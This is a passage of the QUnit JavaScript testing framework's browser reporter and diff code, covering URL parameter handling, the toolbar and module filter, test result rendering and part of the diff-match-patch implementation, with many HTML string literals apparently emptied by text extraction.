flag, e.g., test.html?noglobals value = param.length === 1 || decodeQueryParam(param.slice(1).join("=")); if (name in urlParams) { urlParams[name] = [].concat(urlParams[name], value); } else { urlParams[name] = value; } } } return urlParams; } function decodeQueryParam(param) { return decodeURIComponent(param.replace(/\+/g, "%20")); } })(); var stats = { passedTests: 0, failedTests: 0, skippedTests: 0, todoTests: 0 }; // Escape text for attribute or text content. function escapeText(s) { if (!s) { return ""; } s = s + ""; // Both single quotes and double quotes (for attributes) return s.replace(/['"<>&]/g, function (s) { switch (s) { case "'": return "'"; case "\"": return """; case "<": return "<"; case ">": return ">"; case "&": return "&"; } }); } (function () { // Don't load the HTML Reporter on non-browser environments if (typeof window === "undefined" || !window.document) { return; } var config = QUnit.config, document$$1 = window.document, collapseNext = false, hasOwn = Object.prototype.hasOwnProperty, unfilteredUrl = setUrl({ filter: undefined, module: undefined, moduleId: undefined, testId: undefined }), modulesList = []; function addEvent(elem, type, fn) { elem.addEventListener(type, fn, false); } function removeEvent(elem, type, fn) { elem.removeEventListener(type, fn, false); } function addEvents(elems, type, fn) { var i = elems.length; while (i--) { addEvent(elems[i], type, fn); } } function hasClass(elem, name) { return (" " + elem.className + " ").indexOf(" " + name + " ") >= 0; } function addClass(elem, name) { if (!hasClass(elem, name)) { elem.className += (elem.className ? " " : "") + name; } } function toggleClass(elem, name, force) { if (force || typeof force === "undefined" && !hasClass(elem, name)) { addClass(elem, name); } else { removeClass(elem, name); } } function removeClass(elem, name) { var set = " " + elem.className + " "; // Class name may appear multiple times while (set.indexOf(" " + name + " ") >= 0) { set = set.replace(" " + name + " ", " "); } // Trim for prettiness elem.className = typeof set.trim === "function" ? set.trim() : set.replace(/^\s+|\s+$/g, ""); } function id(name) { return document$$1.getElementById && document$$1.getElementById(name); } function abortTests() { var abortButton = id("qunit-abort-tests-button"); if (abortButton) { abortButton.disabled = true; abortButton.innerHTML = "Aborting..."; } QUnit.config.queue.length = 0; return false; } function interceptNavigation(ev) { applyUrlParams(); if (ev && ev.preventDefault) { ev.preventDefault(); } return false; } function getUrlConfigHtml() { var i, j, val, escaped, escapedTooltip, selection = false, urlConfig = config.urlConfig, urlConfigHtml = ""; for (i = 0; i < urlConfig.length; i++) { // Options can be either strings or objects with nonempty "id" properties val = config.urlConfig[i]; if (typeof val === "string") { val = { id: val, label: val }; } escaped = escapeText(val.id); escapedTooltip = escapeText(val.tooltip); if (!val.value || typeof val.value === "string") { urlConfigHtml += ""; } else { urlConfigHtml += ""; } } return urlConfigHtml; } // Handle "click" events on toolbar checkboxes and "change" for select menus. // Updates the URL with the new state of `config.urlConfig` values. function toolbarChanged() { var updatedUrl, value, tests, field = this, params = {}; // Detect if field is a select menu or a checkbox if ("selectedIndex" in field) { value = field.options[field.selectedIndex].value || undefined; } else { value = field.checked ? field.defaultValue || true : undefined; } params[field.name] = value; updatedUrl = setUrl(params); // Check if we can apply the change without a page refresh if ("hidepassed" === field.name && "replaceState" in window.history) { QUnit.urlParams[field.name] = value; config[field.name] = value || false; tests = id("qunit-tests"); if (tests) { toggleClass(tests, "hidepass", value || false); } window.history.replaceState(null, "", updatedUrl); } else { window.location = updatedUrl; } } function setUrl(params) { var key, arrValue, i, querystring = "?", location = window.location; params = QUnit.extend(QUnit.extend({}, QUnit.urlParams), params); for (key in params) { // Skip inherited or undefined properties if (hasOwn.call(params, key) && params[key] !== undefined) { // Output a parameter for each value of this key (but usually just one) arrValue = [].concat(params[key]); for (i = 0; i < arrValue.length; i++) { querystring += encodeURIComponent(key); if (arrValue[i] !== true) { querystring += "=" + encodeURIComponent(arrValue[i]); } querystring += "&"; } } } return location.protocol + "//" + location.host + location.pathname + querystring.slice(0, -1); } function applyUrlParams() { var i, selectedModules = [], modulesList = id("qunit-modulefilter-dropdown-list").getElementsByTagName("input"), filter = id("qunit-filter-input").value; for (i = 0; i < modulesList.length; i++) { if (modulesList[i].checked) { selectedModules.push(modulesList[i].value); } } window.location = setUrl({ filter: filter === "" ? undefined : filter, moduleId: selectedModules.length === 0 ? undefined : selectedModules, // Remove module and testId filter module: undefined, testId: undefined }); } function toolbarUrlConfigContainer() { var urlConfigContainer = document$$1.createElement("span"); urlConfigContainer.innerHTML = getUrlConfigHtml(); addClass(urlConfigContainer, "qunit-url-config"); addEvents(urlConfigContainer.getElementsByTagName("input"), "change", toolbarChanged); addEvents(urlConfigContainer.getElementsByTagName("select"), "change", toolbarChanged); return urlConfigContainer; } function abortTestsButton() { var button = document$$1.createElement("button"); button.id = "qunit-abort-tests-button"; button.innerHTML = "Abort"; addEvent(button, "click", abortTests); return button; } function toolbarLooseFilter() { var filter = document$$1.createElement("form"), label = document$$1.createElement("label"), input = document$$1.createElement("input"), button = document$$1.createElement("button"); addClass(filter, "qunit-filter"); label.innerHTML = "Filter: "; input.type = "text"; input.value = config.filter || ""; input.name = "filter"; input.id = "qunit-filter-input"; button.innerHTML = "Go"; label.appendChild(input); filter.appendChild(label); filter.appendChild(document$$1.createTextNode(" ")); filter.appendChild(button); addEvent(filter, "submit", interceptNavigation); return filter; } function moduleListHtml() { var i, checked, html = ""; for (i = 0; i < config.modules.length; i++) { if (config.modules[i].name !== "") { checked = config.moduleId.indexOf(config.modules[i].moduleId) > -1; html += "
  • "; } } return html; } function toolbarModuleFilter() { var allCheckbox, commit, reset, moduleFilter = document$$1.createElement("form"), label = document$$1.createElement("label"), moduleSearch = document$$1.createElement("input"), dropDown = document$$1.createElement("div"), actions = document$$1.createElement("span"), dropDownList = document$$1.createElement("ul"), dirty = false; moduleSearch.id = "qunit-modulefilter-search"; addEvent(moduleSearch, "input", searchInput); addEvent(moduleSearch, "input", searchFocus); addEvent(moduleSearch, "focus", searchFocus); addEvent(moduleSearch, "click", searchFocus); label.id = "qunit-modulefilter-search-container"; label.innerHTML = "Module: "; label.appendChild(moduleSearch); actions.id = "qunit-modulefilter-actions"; actions.innerHTML = "" + "" + ""; allCheckbox = actions.lastChild.firstChild; commit = actions.firstChild; reset = commit.nextSibling; addEvent(commit, "click", applyUrlParams); dropDownList.id = "qunit-modulefilter-dropdown-list"; dropDownList.innerHTML = moduleListHtml(); dropDown.id = "qunit-modulefilter-dropdown"; dropDown.style.display = "none"; dropDown.appendChild(actions); dropDown.appendChild(dropDownList); addEvent(dropDown, "change", selectionChange); selectionChange(); moduleFilter.id = "qunit-modulefilter"; moduleFilter.appendChild(label); moduleFilter.appendChild(dropDown); addEvent(moduleFilter, "submit", interceptNavigation); addEvent(moduleFilter, "reset", function () { // Let the reset happen, then update styles window.setTimeout(selectionChange); }); // Enables show/hide for the dropdown function searchFocus() { if (dropDown.style.display !== "none") { return; } dropDown.style.display = "block"; addEvent(document$$1, "click", hideHandler); addEvent(document$$1, "keydown", hideHandler); // Hide on Escape keydown or outside-container click function hideHandler(e) { var inContainer = moduleFilter.contains(e.target); if (e.keyCode === 27 || !inContainer) { if (e.keyCode === 27 && inContainer) { moduleSearch.focus(); } dropDown.style.display = "none"; removeEvent(document$$1, "click", hideHandler); removeEvent(document$$1, "keydown", hideHandler); moduleSearch.value = ""; searchInput(); } } } // Processes module search box input function searchInput() { var i, item, searchText = moduleSearch.value.toLowerCase(), listItems = dropDownList.children; for (i = 0; i < listItems.length; i++) { item = listItems[i]; if (!searchText || item.textContent.toLowerCase().indexOf(searchText) > -1) { item.style.display = ""; } else { item.style.display = "none"; } } } // Processes selection changes function selectionChange(evt) { var i, item, checkbox = evt && evt.target || allCheckbox, modulesList = dropDownList.getElementsByTagName("input"), selectedNames = []; toggleClass(checkbox.parentNode, "checked", checkbox.checked); dirty = false; if (checkbox.checked && checkbox !== allCheckbox) { allCheckbox.checked = false; removeClass(allCheckbox.parentNode, "checked"); } for (i = 0; i < modulesList.length; i++) { item = modulesList[i]; if (!evt) { toggleClass(item.parentNode, "checked", item.checked); } else if (checkbox === allCheckbox && checkbox.checked) { item.checked = false; removeClass(item.parentNode, "checked"); } dirty = dirty || item.checked !== item.defaultChecked; if (item.checked) { selectedNames.push(item.parentNode.textContent); } } commit.style.display = reset.style.display = dirty ? "" : "none"; moduleSearch.placeholder = selectedNames.join(", ") || allCheckbox.parentNode.textContent; moduleSearch.title = "Type to filter list. Current selection:\n" + (selectedNames.join("\n") || allCheckbox.parentNode.textContent); } return moduleFilter; } function appendToolbar() { var toolbar = id("qunit-testrunner-toolbar"); if (toolbar) { toolbar.appendChild(toolbarUrlConfigContainer()); toolbar.appendChild(toolbarModuleFilter()); toolbar.appendChild(toolbarLooseFilter()); toolbar.appendChild(document$$1.createElement("div")).className = "clearfix"; } } function appendHeader() { var header = id("qunit-header"); if (header) { header.innerHTML = "" + header.innerHTML + " "; } } function appendBanner() { var banner = id("qunit-banner"); if (banner) { banner.className = ""; } } function appendTestResults() { var tests = id("qunit-tests"), result = id("qunit-testresult"), controls; if (result) { result.parentNode.removeChild(result); } if (tests) { tests.innerHTML = ""; result = document$$1.createElement("p"); result.id = "qunit-testresult"; result.className = "result"; tests.parentNode.insertBefore(result, tests); result.innerHTML = "
    Running...
     
    " + "
    " + "
    "; controls = id("qunit-testresult-controls"); } if (controls) { controls.appendChild(abortTestsButton()); } } function appendFilteredTest() { var testId = QUnit.config.testId; if (!testId || testId.length <= 0) { return ""; } return "
    Rerunning selected tests: " + escapeText(testId.join(", ")) + " Run all tests
    "; } function appendUserAgent() { var userAgent = id("qunit-userAgent"); if (userAgent) { userAgent.innerHTML = ""; userAgent.appendChild(document$$1.createTextNode("QUnit " + QUnit.version + "; " + navigator.userAgent)); } } function appendInterface() { var qunit = id("qunit"); if (qunit) { qunit.innerHTML = "

    " + escapeText(document$$1.title) + "

    " + "

    " + "
    " + appendFilteredTest() + "

    " + "
      "; } appendHeader(); appendBanner(); appendTestResults(); appendUserAgent(); appendToolbar(); } function appendTestsList(modules) { var i, l, x, z, test, moduleObj; for (i = 0, l = modules.length; i < l; i++) { moduleObj = modules[i]; for (x = 0, z = moduleObj.tests.length; x < z; x++) { test = moduleObj.tests[x]; appendTest(test.name, test.testId, moduleObj.name); } } } function appendTest(name, testId, moduleName) { var title, rerunTrigger, testBlock, assertList, tests = id("qunit-tests"); if (!tests) { return; } title = document$$1.createElement("strong"); title.innerHTML = getNameHtml(name, moduleName); rerunTrigger = document$$1.createElement("a"); rerunTrigger.innerHTML = "Rerun"; rerunTrigger.href = setUrl({ testId: testId }); testBlock = document$$1.createElement("li"); testBlock.appendChild(title); testBlock.appendChild(rerunTrigger); testBlock.id = "qunit-test-output-" + testId; assertList = document$$1.createElement("ol"); assertList.className = "qunit-assert-list"; testBlock.appendChild(assertList); tests.appendChild(testBlock); } // HTML Reporter initialization and load QUnit.begin(function (details) { var i, moduleObj, tests; // Sort modules by name for the picker for (i = 0; i < details.modules.length; i++) { moduleObj = details.modules[i]; if (moduleObj.name) { modulesList.push(moduleObj.name); } } modulesList.sort(function (a, b) { return a.localeCompare(b); }); // Initialize QUnit elements appendInterface(); appendTestsList(details.modules); tests = id("qunit-tests"); if (tests && config.hidepassed) { addClass(tests, "hidepass"); } }); QUnit.done(function (details) { var banner = id("qunit-banner"), tests = id("qunit-tests"), abortButton = id("qunit-abort-tests-button"), totalTests = stats.passedTests + stats.skippedTests + stats.todoTests + stats.failedTests, html = [totalTests, " tests completed in ", details.runtime, " milliseconds, with ", stats.failedTests, " failed, ", stats.skippedTests, " skipped, and ", stats.todoTests, " todo.
      ", "", details.passed, " assertions of ", details.total, " passed, ", details.failed, " failed."].join(""), test, assertLi, assertList; // Update remaing tests to aborted if (abortButton && abortButton.disabled) { html = "Tests aborted after " + details.runtime + " milliseconds."; for (var i = 0; i < tests.children.length; i++) { test = tests.children[i]; if (test.className === "" || test.className === "running") { test.className = "aborted"; assertList = test.getElementsByTagName("ol")[0]; assertLi = document$$1.createElement("li"); assertLi.className = "fail"; assertLi.innerHTML = "Test aborted."; assertList.appendChild(assertLi); } } } if (banner && (!abortButton || abortButton.disabled === false)) { banner.className = stats.failedTests ? "qunit-fail" : "qunit-pass"; } if (abortButton) { abortButton.parentNode.removeChild(abortButton); } if (tests) { id("qunit-testresult-display").innerHTML = html; } if (config.altertitle && document$$1.title) { // Show ✖ for good, ✔ for bad suite result in title // use escape sequences in case file gets loaded with non-utf-8-charset document$$1.title = [stats.failedTests ? "\u2716" : "\u2714", document$$1.title.replace(/^[\u2714\u2716] /i, "")].join(" "); } // Scroll back to top to show results if (config.scrolltop && window.scrollTo) { window.scrollTo(0, 0); } }); function getNameHtml(name, module) { var nameHtml = ""; if (module) { nameHtml = "" + escapeText(module) + ": "; } nameHtml += "" + escapeText(name) + ""; return nameHtml; } QUnit.testStart(function (details) { var running, testBlock, bad; testBlock = id("qunit-test-output-" + details.testId); if (testBlock) { testBlock.className = "running"; } else { // Report later registered tests appendTest(details.name, details.testId, details.module); } running = id("qunit-testresult-display"); if (running) { bad = QUnit.config.reorder && details.previousFailure; running.innerHTML = (bad ? "Rerunning previously failed test:
      " : "Running:
      ") + getNameHtml(details.name, details.module); } }); function stripHtml(string) { // Strip tags, html entity and whitespaces return string.replace(/<\/?[^>]+(>|$)/g, "").replace(/\"/g, "").replace(/\s+/g, ""); } QUnit.log(function (details) { var assertList, assertLi, message, expected, actual, diff, showDiff = false, testItem = id("qunit-test-output-" + details.testId); if (!testItem) { return; } message = escapeText(details.message) || (details.result ? "okay" : "failed"); message = "" + message + ""; message += "@ " + details.runtime + " ms"; // The pushFailure doesn't provide details.expected // when it calls, it's implicit to also not show expected and diff stuff // Also, we need to check details.expected existence, as it can exist and be undefined if (!details.result && hasOwn.call(details, "expected")) { if (details.negative) { expected = "NOT " + QUnit.dump.parse(details.expected); } else { expected = QUnit.dump.parse(details.expected); } actual = QUnit.dump.parse(details.actual); message += ""; if (actual !== expected) { message += ""; if (typeof details.actual === "number" && typeof details.expected === "number") { if (!isNaN(details.actual) && !isNaN(details.expected)) { showDiff = true; diff = details.actual - details.expected; diff = (diff > 0 ? "+" : "") + diff; } } else if (typeof details.actual !== "boolean" && typeof details.expected !== "boolean") { diff = QUnit.diff(expected, actual); // don't show diff if there is zero overlap showDiff = stripHtml(diff).length !== stripHtml(expected).length + stripHtml(actual).length; } if (showDiff) { message += ""; } } else if (expected.indexOf("[object Array]") !== -1 || expected.indexOf("[object Object]") !== -1) { message += ""; } else { message += ""; } if (details.source) { message += ""; } message += "
      Expected:
      " + escapeText(expected) + "
      Result:
      " + escapeText(actual) + "
      Diff:
      " + diff + "
      Message: " + "Diff suppressed as the depth of object is more than current max depth (" + QUnit.config.maxDepth + ").

      Hint: Use QUnit.dump.maxDepth to " + " run with a higher max depth or " + "Rerun without max depth.

      Message: " + "Diff suppressed as the expected and actual results have an equivalent" + " serialization
      Source:
      " + escapeText(details.source) + "
      "; // This occurs when pushFailure is set and we have an extracted stack trace } else if (!details.result && details.source) { message += "" + "" + "
      Source:
      " + escapeText(details.source) + "
      "; } assertList = testItem.getElementsByTagName("ol")[0]; assertLi = document$$1.createElement("li"); assertLi.className = details.result ? "pass" : "fail"; assertLi.innerHTML = message; assertList.appendChild(assertLi); }); QUnit.testDone(function (details) { var testTitle, time, testItem, assertList, good, bad, testCounts, skipped, sourceName, tests = id("qunit-tests"); if (!tests) { return; } testItem = id("qunit-test-output-" + details.testId); assertList = testItem.getElementsByTagName("ol")[0]; good = details.passed; bad = details.failed; // This test passed if it has no unexpected failed assertions var testPassed = details.failed > 0 ? details.todo : !details.todo; if (testPassed) { // Collapse the passing tests addClass(assertList, "qunit-collapsed"); } else if (config.collapse) { if (!collapseNext) { // Skip collapsing the first failing test collapseNext = true; } else { // Collapse remaining tests addClass(assertList, "qunit-collapsed"); } } // The testItem.firstChild is the test name testTitle = testItem.firstChild; testCounts = bad ? "" + bad + ", " + "" + good + ", " : ""; testTitle.innerHTML += " (" + testCounts + details.assertions.length + ")"; if (details.skipped) { stats.skippedTests++; testItem.className = "skipped"; skipped = document$$1.createElement("em"); skipped.className = "qunit-skipped-label"; skipped.innerHTML = "skipped"; testItem.insertBefore(skipped, testTitle); } else { addEvent(testTitle, "click", function () { toggleClass(assertList, "qunit-collapsed"); }); testItem.className = testPassed ? "pass" : "fail"; if (details.todo) { var todoLabel = document$$1.createElement("em"); todoLabel.className = "qunit-todo-label"; todoLabel.innerHTML = "todo"; testItem.className += " todo"; testItem.insertBefore(todoLabel, testTitle); } time = document$$1.createElement("span"); time.className = "runtime"; time.innerHTML = details.runtime + " ms"; testItem.insertBefore(time, assertList); if (!testPassed) { stats.failedTests++; } else if (details.todo) { stats.todoTests++; } else { stats.passedTests++; } } // Show the source of the test when showing assertions if (details.source) { sourceName = document$$1.createElement("p"); sourceName.innerHTML = "Source: " + details.source; addClass(sourceName, "qunit-source"); if (testPassed) { addClass(sourceName, "qunit-collapsed"); } addEvent(testTitle, "click", function () { toggleClass(sourceName, "qunit-collapsed"); }); testItem.appendChild(sourceName); } }); // Avoid readyState issue with phantomjs // Ref: #818 var notPhantom = function (p) { return !(p && p.version && p.version.major > 0); }(window.phantom); if (notPhantom && document$$1.readyState === "complete") { QUnit.load(); } else { addEvent(window, "load", QUnit.load); } // Wrap window.onerror. We will call the original window.onerror to see if // the existing handler fully handles the error; if not, we will call the // QUnit.onError function. var originalWindowOnError = window.onerror; // Cover uncaught exceptions // Returning true will suppress the default browser handler, // returning false will let it run. window.onerror = function (message, fileName, lineNumber) { var ret = false; if (originalWindowOnError) { for (var _len = arguments.length, args = Array(_len > 3 ? _len - 3 : 0), _key = 3; _key < _len; _key++) { args[_key - 3] = arguments[_key]; } ret = originalWindowOnError.call.apply(originalWindowOnError, [this, message, fileName, lineNumber].concat(args)); } // Treat return value as window.onerror itself does, // Only do our handling if not suppressed. if (ret !== true) { var error = { message: message, fileName: fileName, lineNumber: lineNumber }; ret = QUnit.onError(error); } return ret; }; })(); /* * This file is a modified version of google-diff-match-patch's JavaScript implementation * (https://code.google.com/p/google-diff-match-patch/source/browse/trunk/javascript/diff_match_patch_uncompressed.js), * modifications are licensed as more fully set forth in LICENSE.txt. * * The original source of google-diff-match-patch is attributable and licensed as follows: * * Copyright 2006 Google Inc. * https://code.google.com/p/google-diff-match-patch/ * * Licensed under the Apache License, Version 2.0 (the "License"); * you may not use this file except in compliance with the License. * You may obtain a copy of the License at * * https://www.apache.org/licenses/LICENSE-2.0 * * Unless required by applicable law or agreed to in writing, software * distributed under the License is distributed on an "AS IS" BASIS, * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied. * See the License for the specific language governing permissions and * limitations under the License. * * More Info: * https://code.google.com/p/google-diff-match-patch/ * * Usage: QUnit.diff(expected, actual) * */ QUnit.diff = function () { function DiffMatchPatch() {} // DIFF FUNCTIONS /** * The data structure representing a diff is an array of tuples: * [[DIFF_DELETE, 'Hello'], [DIFF_INSERT, 'Goodbye'], [DIFF_EQUAL, ' world.']] * which means: delete 'Hello', add 'Goodbye' and keep ' world.' */ var DIFF_DELETE = -1, DIFF_INSERT = 1, DIFF_EQUAL = 0; /** * Find the differences between two texts. Simplifies the problem by stripping * any common prefix or suffix off the texts before diffing. * @param {string} text1 Old string to be diffed. * @param {string} text2 New string to be diffed. * @param {boolean=} optChecklines Optional speedup flag. If present and false, * then don't run a line-level diff first to identify the changed areas. * Defaults to true, which does a faster, slightly less optimal diff. * @return {!Array.} Array of diff tuples. */ DiffMatchPatch.prototype.DiffMain = function (text1, text2, optChecklines) { var deadline, checklines, commonlength, commonprefix, commonsuffix, diffs; // The diff must be complete in up to 1 second. deadline = new Date().getTime() + 1000; // Check for null inputs. if (text1 === null || text2 === null) { throw new Error("Null input. (DiffMain)"); } // Check for equality (speedup). if (text1 === text2) { if (text1) { return [[DIFF_EQUAL, text1]]; } return []; } if (typeof optChecklines === "undefined") { optChecklines = true; } checklines = optChecklines; // Trim off common prefix (speedup). commonlength = this.diffCommonPrefix(text1, text2); commonprefix = text1.substring(0, commonlength); text1 = text1.substring(commonlength); text2 = text2.substring(commonlength); // Trim off common suffix (speedup). commonlength = this.diffCommonSuffix(text1, text2); commonsuffix = text1.substring(text1.length - commonlength); text1 = text1.substring(0, text1.length - commonlength); text2 = text2.substring(0, text2.length - commonlength); // Compute the diff on the middle block. diffs = this.diffCompute(text1, text2, checklines, deadline); // Restore the prefix and suffix. if (commonprefix) { diffs.unshift([DIFF_EQUAL, commonprefix]); } if (commonsuffix) { diffs.push([DIFF_EQUAL, commonsuffix]); } this.diffCleanupMerge(diffs); return diffs; }; /** * Reduce the number of edits by eliminating operationally trivial equalities. * @param {!Array.} diffs Array of diff tuples. */ DiffMatchPatch.prototype.diffCleanupEfficiency = function (diffs) { var changes, equalities, equalitiesLength, lastequality, pointer, preIns, preDel, postIns, postDel; changes = false; equalities = []; // Stack of indices where equalities are found. equalitiesLength = 0; // Keeping our own length var is faster in JS. /** @type {?string} */ lastequality = null; // Always equal to diffs[equalities[equalitiesLength - 1]][1] pointer = 0; // Index of current position. // Is there an insertion operation before the last equality. preIns = false; // Is there a deletion operation before the last equality. preDel = false; // Is there an insertion operation after the last equality. postIns = false; // Is there a deletion operation after the last equality. postDel = false; while (pointer < diffs.length) { // Equality found. if (diffs[pointer][0] === DIFF_EQUAL) { if (diffs[pointer][1].length < 4 && (postIns || postDel)) { // Candidate found. equalities[equalitiesLength++] = pointer; preIns = postIns; preDel = postDel; lastequality = diffs[pointer][1]; } else { // Not a candidate, and can never become one. equalitiesLength = 0; lastequality = null; } postIns = postDel = false; // An insertion or deletion. } else { if (diffs[pointer][0] === DIFF_DELETE) { postDel = true; } else { postIns = true; } /* * Five types to be split: * ABXYCD * AXCD * ABXC * AXCD * ABXC */ if (lastequality && (preIns && preDel && postIns && postDel || lastequality.length < 2 && preIns + preDel + postIns + postDel === 3)) { // Duplicate record. diffs.splice(equalities[equalitiesLength - 1], 0, [DIFF_DELETE, lastequality]); // Change second copy to insert. diffs[equalities[equalitiesLength - 1] + 1][0] = DIFF_INSERT; equalitiesLength--; // Throw away the equality we just deleted; lastequality = null; if (preIns && preDel) { // No changes made which could affect previous entry, keep going. postIns = postDel = true; equalitiesLength = 0; } else { equalitiesLength--; // Throw away the previous equality. pointer = equalitiesLength > 0 ? equalities[equalitiesLength - 1] : -1; postIns = postDel = false; } changes = true; } } pointer++; } if (changes) { this.diffCleanupMerge(diffs); } }; /** * Convert a diff array into a pretty HTML report. * @param {!Array.} diffs Array of diff tuples. * @param {integer} string to be beautified. * @return {string} HTML representation. */ DiffMatchPatch.prototype.diffPrettyHtml = function (diffs) { var op, data, x, html = []; for (x = 0; x < diffs.length; x++) { op = diffs[x][0]; // Operation (insert, delete, equal) data = diffs[x][1]; // Text of change. switch (op) { case DIFF_INSERT: html[x] = "" + escapeText(data) + ""; break; case DIFF_DELETE: html[x] = "" + escapeText(data) + ""; break; case DIFF_EQUAL: html[x] = "" + escapeText(data) + ""; break; } } return html.join(""); }; /** * Determine the common prefix of two strings. * @param {string} text1 First string. * @param {string} text2 Second string. * @return {number} The number of characters common to the start of each * string. */ DiffMatchPatch.prototype.diffCommonPrefix = function (text1, text2) { var pointermid, pointermax, pointermin, pointerstart; // Quick check for common null cases. if (!text1 || !text2 || text1.charAt(0) !== text2.charAt(0)) { return 0; } // Binary search. // Performance analysis: https://neil.fraser.name/news/2007/10/09/ pointermin = 0; pointermax = Math.min(text1.length, text2.length); pointermid = pointermax; pointerstart = 0; while (pointermin < pointermid) { if (text1.substring(pointerstart, pointermid) === text2.substring(pointerstart, pointermid)) { pointermin = pointermid; pointerstart = pointermin; } else { pointermax = pointermid; } pointermid = Math.floor((pointermax - pointermin) / 2 + pointermin); } return pointermid; }; /** * Determine the common suffix of two strings. * @param {string} text1 First string. * @param {string} text2 Second string. * @return {number} The number of characters common to the end of each string. */ DiffMatchPatch.prototype.diffCommonSuffix = function (text1, text2) { var pointermid, pointermax, pointermin, pointerend; // Quick check for common null cases. if (!text1 || !text2 || text1.charAt(text1.length - 1) !== text2.charAt(text2.length - 1)) { return 0; } // Binary search. // Performance analysis: https://neil.fraser.name/news/2007/10/09/ pointermin = 0; pointermax = Math.min(text1.length, text2.length); pointermid = pointermax; pointerend = 0; while (pointermin < pointermid) { if (text1.substring(text1.length - pointermid, text1.length - pointerend) === text2.substring(text2.length - pointermid, text2.length - pointerend)) { pointermin = pointermid; pointerend = pointermin; } else { pointermax = pointermid; } pointermid = Math.floor((pointermax - pointermin) / 2 + pointermin); } return pointermid; }; /** * Find the differences between two texts. Assumes that the texts do not * have any common prefix or suffix. * @param {string} text1 Old string to be diffed. * @param {string} text2 New string to be diffed. * @param {boolean} checklines Speedup flag. If false, then don't run a * line-level diff first to identify the changed areas. * If true, then run a faster, slightly less optimal diff. * @param {number} deadline Time when the diff should be complete by. * @return {!Array.} Array of diff tuples. * @private */ DiffMatchPatch.prototype.diffCompute = function (text1, text2, checklines, deadline) { var diffs, longtext, shorttext, i, hm, text1A, text2A, text1B, text2B, midCommon, diffsA, diffsB; if (!text1) { // Just add some text (speedup). return [[DIFF_INSERT, text2]]; } if (!text2) { // Just delete some text (speedup). return [[DIFF_DELETE, text1]]; } longtext = text1.length > text2.length ? text1 : text2; shorttext = text1.length > text2.length ? text2 : text1; i = longtext.indexOf(shorttext); if (i !== -1) { // Shorter text is inside the longer text (speedup). diffs = [[DIFF_INSERT, longtext.substring(0, i)], [DIFF_EQUAL, shorttext], [DIFF_INSERT, longtext.substring(i + shorttext.length)]]; // Swap insertions for deletions if diff is reversed. if (text1.length > text2.length) { diffs[0][0] = diffs[2][0] = DIFF_DELETE; } return diffs; } if (shorttext.length === 1) { // Single character string. // After the previous speedup, the character can't be an equality. return [[DIFF_DELETE, text1], [DIFF_INSERT, text2]]; } // Check to see if the problem can be split in two. hm = this.diffHalfMatch(text1, text2); if (hm) { // A half-match was found, sort out the return data. text1A = hm[0]; text1B = hm[1]; text2A = hm[2]; text2B = hm[3]; midCommon = hm[4]; // Send both pairs off for separate processing. diffsA = this.DiffMain(text1A, text2A, checklines, deadline); diffsB = this.DiffMain(text1B, text2B, checklines, deadline); // Merge the results. return diffsA.concat([[DIFF_EQUAL, midCommon]], diffsB); } if (checklines && text1.length > 100 && text2.length > 100) { return this.diffLineMode(text1, text2, deadline); } return this.diffBisect(text1, text2, deadline); }; /** * Do the two texts share a substring which is at least half the length of the * longer text? * This speedup can produce non-minimal diffs. * @param {string} text1 First string. * @param {string} text2 Second string. * @return {Array.} Five element Array, containing the prefix of * text1, the suffix of text1, the prefix of text2, the suffix of * text2 and the common middle. Or null if there was no match. * @private */ DiffMatchPatch.prototype.diffHalfMatch = function (text1, text2) { var longtext, shorttext, dmp, text1A, text2B, text2A, text1B, midCommon, hm1, hm2, hm; longtext = text1.length > text2.length ? text1 : text2; shorttext = text1.length > text2.length ? text2 : text1; if (longtext.length < 4 || shorttext.length * 2 < longtext.length) { return null; // Pointless. } dmp = this; // 'this' becomes 'window' in a closure. /** * Does a substring of shorttext exist within longtext such that the substring * is at least half the length of longtext? * Closure, but does not reference any external variables. * @param {string} longtext Longer string. * @param {string} shorttext Shorter string. * @param {number} i Start index of quarter length substring within longtext. * @return {Array.} Five element Array, containing the prefix of * longtext, the suffix of longtext, the prefix of shorttext, the suffix * of shorttext and the common middle. Or null if there was no match. * @private */ function diffHalfMatchI(longtext, shorttext, i) { var seed, j, bestCommon, prefixLength, suffixLength, bestLongtextA, bestLongtextB, bestShorttextA, bestShorttextB; // Start with a 1/4 length substring at position i as a seed. seed = longtext.substring(i, i + Math.floor(longtext.length / 4)); j = -1; bestCommon = ""; while ((j = shorttext.indexOf(seed, j + 1)) !== -1) { prefixLength = dmp.diffCommonPrefix(longtext.substring(i), shorttext.substring(j)); suffixLength = dmp.diffCommonSuffix(longtext.substring(0, i), shorttext.substring(0, j)); if (bestCommon.length < suffixLength + prefixLength) { bestCommon = shorttext.substring(j - suffixLength, j) + shorttext.substring(j, j + prefixLength); bestLongtextA = longtext.substring(0, i - suffixLength); bestLongtextB = longtext.substring(i + prefixLength); bestShorttextA = shorttext.substring(0, j - suffixLength); bestShorttextB = shorttext.substring(j + prefixLength); } } if (bestCommon.length * 2 >= longtext.length) { return [bestLongtextA, bestLongtextB, bestShorttextA, bestShorttextB, bestCommon]; } else { return null; } } // First check if the second quarter is the seed for a half-match. hm1 = diffHalfMatchI(longtext, shorttext, Math.ceil(longtext.length / 4)); // Check again based on the third quarter. hm2 = diffHalfMatchI(longtext, shorttext, Math.ceil(longtext.length / 2)); if (!hm1 && !hm2) { return null; } else if (!hm2) { hm = hm1; } else if (!hm1) { hm = hm2; } else { // Both matched. Select the longest. hm = hm1[4].length > hm2[4].length ? hm1 : hm2; } // A half-match was found, sort out the return data. if (text1.length > text2.length) { text1A = hm[0]; text1B = hm[1]; text2A = hm[2]; text2B = hm[3]; } else { text2A = hm[0]; text2B = hm[1]; text1A = hm[2]; text1B = hm[3]; } midCommon = hm[4]; return [text1A, text1B, text2A, text2B, midCommon]; }; /** * Do a quick line-level diff on both strings, then rediff the parts for * greater accuracy. * This speedup can produce non-minimal diffs. * @param {string} text1 Old string to be diffed. * @param {string} text2 New string to be diffed. * @param {number} deadline Time when the diff should be complete by. * @return {!Array.} Array of diff tuples. * @private */ DiffMatchPatch.prototype.diffLineMode = function (text1, text2, deadline) { var a, diffs, linearray, pointer, countInsert, countDelete, textInsert, textDelete, j; // Scan the text on a line-by-line basis first. a = this.diffLinesToChars(text1, text2); text1 = a.chars1; text2 = a.chars2; linearray = a.lineArray; diffs = this.DiffMain(text1, text2, false, deadline); // Convert the diff back to original text. this.diffCharsToLines(diffs, linearray); // Eliminate freak matches (e.g. blank lines) this.diffCleanupSemantic(diffs); // Rediff any replacement blocks, this time character-by-character. // Add a dummy entry at the end. diffs.push([DIFF_EQUAL, 